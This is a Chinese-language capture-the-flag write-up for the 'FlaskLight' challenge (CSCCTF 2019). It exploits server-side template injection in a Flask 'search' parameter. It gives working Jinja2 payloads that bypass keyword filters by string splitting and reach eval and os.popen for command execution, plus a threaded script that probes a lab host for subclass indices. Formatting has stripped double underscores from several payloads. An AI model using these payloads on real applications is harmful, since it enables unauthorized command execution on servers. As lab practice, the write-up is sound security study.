[CSCCTF 2019 Qual]FlaskLight

注释里面提示GET['search'],简单测试一下发现存在SSTI漏洞。

1、尝试{{config}}

没什么特别线索。

2、尝试通过"可用函数"获得全局变量。{{url_for.globals}}

Internal Server Error

说明可能有过滤。换一个:{{get_flashed_messages['glo''bals']}}

这边['globals']能实现与.__globals__同样的效果,于是能通过字符拼接绕过简单的关键字过滤

直接得到了全局变量。

3、利用其中的__builtins__模块调用内置函数获得rce

{{get_flashed_messages['glo''bals']['builtins']['eval']("import('os').popen('ls').read()")}}

直接拿到rec。

4、尝试其他方法。获取子类:{{''.class.mro[2].subclasses()}}

在 Flask 注入题目中,获得subclasses后,可利用以下一些类来获取 flag:

file类(Python2 环境):在 Python2 中,object类的子类中有file类,可用于文件读取。通过找到file类的位置,利用其打开并读取存储 flag 的文件,如"a".class.mro[2].subclasses()[40]("flag.txt").read()可读取flag.txt文件内容。

os._wrap_close类(Python3 环境):在 Python3 环境中,可以利用os.wrap_close类。通过获取该类,再访问其__init_.__globals__属性,进而利用其中的open或popen函数来读取文件或执行命令获取 flag,如"a".class.bases[0].subclasses()[<os._wrap_close类的索引>].init.globals['open']('/opt/flag文件路径').read()。

catch_warnings类:可以在其全局变量中找到eval,利用eval执行命令来获取 flag。例如{{''.class.mro[2].subclasses()[166].init.globals['eval']('import("os").popen("env").read()') }}

site._Printer类:可以在其全局变量中找到os

5、由于这里并不知道flag的具体位置,所以file类读取文件不太行。这里应该使用的是python2的环境所以没有os.wrap.close类。直接尝试catch_warning类。由于不知道具体位置,可以用脚本跑一下:

python 复制代码
import requests
from concurrent.futures import ThreadPoolExecutor

def makerequest(i):
    url = f"http://4183e6ca-1497-4aa2-82d6-5d0b843e951e.node5.buuoj.cn:81/?search={{{{''.__class__.__mro__[2].__subclasses__()[{i}]}}}}"
    r = requests.get(url)
    # print(r.text)
    if "catch_warning" in r.text:
        print(i)

with ThreadPoolExecutor(max_workers=10) as executor:
    futures = [executor.submit(makerequest, i) for i in range(0, 200)]

利用多线程加快速度。跑出来是59。

6、{{''.class.mro[2].subclasses()[59].init['global''s']}}

能看到全局变量中有

'eval': <built-in function eval>

一开始犯了一个错误,该函数是属于built-in function,并不在当前全局变量中。不能直接调用。

7、通过__builtins__调用。{{''.class.mro[2].subclasses()[59].init['global''s']['builtins']['eval']("import('os').popen('ls').read()")}}

再次得到rec。

8、再尝试一下site._Printer类。先通过脚本找到位置为71。

{{''.class.mro[2].subclasses()[71].init['global''s']}}

'os': <module 'os' from '/usr/lib/python2.7/os.pyc'>

可以看到有内置os。

9、{{''.class.mro[2].subclasses()[71].init['global''s']['os'].popen('ls').read()}}

又成功拿到rec。